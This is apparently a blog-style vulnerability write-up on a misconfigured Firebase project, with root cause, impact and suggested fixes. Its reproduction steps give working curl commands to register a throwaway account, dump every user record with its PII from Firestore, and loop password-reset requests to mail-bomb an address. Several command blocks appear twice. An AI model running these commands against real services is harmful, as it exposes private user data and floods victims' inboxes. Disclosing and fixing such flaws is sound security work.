Insecure Firestore Security Rules & PII Exposure

• Realtime Database (Unauthenticated): https://[REDACTED].firebaseio.com/.json (Access Denied)
• Storage Bucket (Unauthenticated): https://firebasestorage.googleapis.com/v0/b/[REDACTED].appspot.com/o (Access Denied)
• Firestore (Unauthenticated): https://firestore.googleapis.com/v1/projects/[REDACTED]/databases/(default)/documents (Access Denied)
• Auth Action / Callback URLs: Testing against https://[REDACTED].firebaseapp.com/__/auth/action?mode=verifyEmail... resulted in errors/failed states.

I moved to cli and got hit for /user endpoint

Description & Root Cause

• Insecure Firestore Rules: The /users collection lacks proper ownership verification (request.auth.uid == resource.id). Any user who creates a standard, low-privilege account can query the Firestore REST API to extract all registered user records, including sensitive PII.
• Exposed Credentials / Endpoints: The Firebase API key and project identifiers are exposed in client-side configuration URLs, enabling direct interaction with Firebase backend services.
• Mail Bombing Vector: The Identity Toolkit API (sendOobCode) lacks strict rate-limiting, allowing malicious actors to flood arbitrary email addresses with automated password reset notifications.

3. Steps to Reproduce

At first i got that valid api from password reset link I got project ID/name from deep diving in js and fuzzing

Step 1: Obtain a Low-Privilege Authentication Token

Register a test user via the Firebase Auth REST API to obtain a valid JWT:

curl -s -X POST 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY_HERE' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"TestPassword123!","returnSecureToken":true}'

curl -s -X POST 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY_HERE' \ -H 'Content-Type: application/json' \ -d '{"email":"[email protected]","password":"TestPassword123!","returnSecureToken":true}'

Extract the idToken from the response JSON and save it:

export TOKEN="<token>"

export TOKEN="<token>"

Step 2: Dump the Entire /users Collection

curl -s "https://firestore.googleapis.com/v1/projects/[REDACTED_PROJECT_ID]/databases/(default)/documents/users" \ -H "Authorization: Bearer $TOKEN"

curl -s "https://firestore.googleapis.com/v1/projects/[REDACTED_PROJECT_ID]/databases/(default)/documents/users" \ -H "Authorization: Bearer $TOKEN"

Result: The server returns a JSON payload containing the complete database of user details, documents, Bio, every PII's that is of high impact and that paves path for further attack vector's.

Step 3: Password Reset Mail Bombing

for i in {1..10}; do curl -s -X POST 'https://identitytoolkit.googleapis.com/v1/accounts:sendOobCode?key=API_KEY_HERE' \ -H 'Content-Type: application/json' \ -d '{"requestType": "PASSWORD_RESET", "email": "[email protected]", "clientType": "CLIENT_TYPE_WEB"}' echo "Request $i sent" sleep 0.5 done

for i in {1..10}; do curl -s -X POST 'https://identitytoolkit.googleapis.com/v1/accounts:sendOobCode?key=API_KEY_HERE' \ -H 'Content-Type: application/json' \ -d '{"requestType": "PASSWORD_RESET", "email": "[email protected]", "clientType": "CLIENT_TYPE_WEB"}' echo "Request $i sent" sleep 0.5 done

4. Impact

• Account Takeover / Phishing Risk: Exposed user directory data facilitates targeted phishing campaigns and impersonation.
• Mail Bombing: Unthrottled password reset requests flood target inboxes, degrading service reliability and user trust.

1. Enforce Firestore Security Rules: Update rules in the Firebase Console to restrict read/write access so users can only access their own user documents: match /users/{userId} { allow read, write: if request.auth != null && request.auth.uid == userId; }
2. Implement Rate Limiting: Apply rate limits and CAPTCHA challenges to authentication and password reset endpoints (sendOobCode) via Firebase App Check or backend proxies to prevent abuse and mail bombing.

Originally published at https://noob6t5.hashnode.dev on August 22, 2026.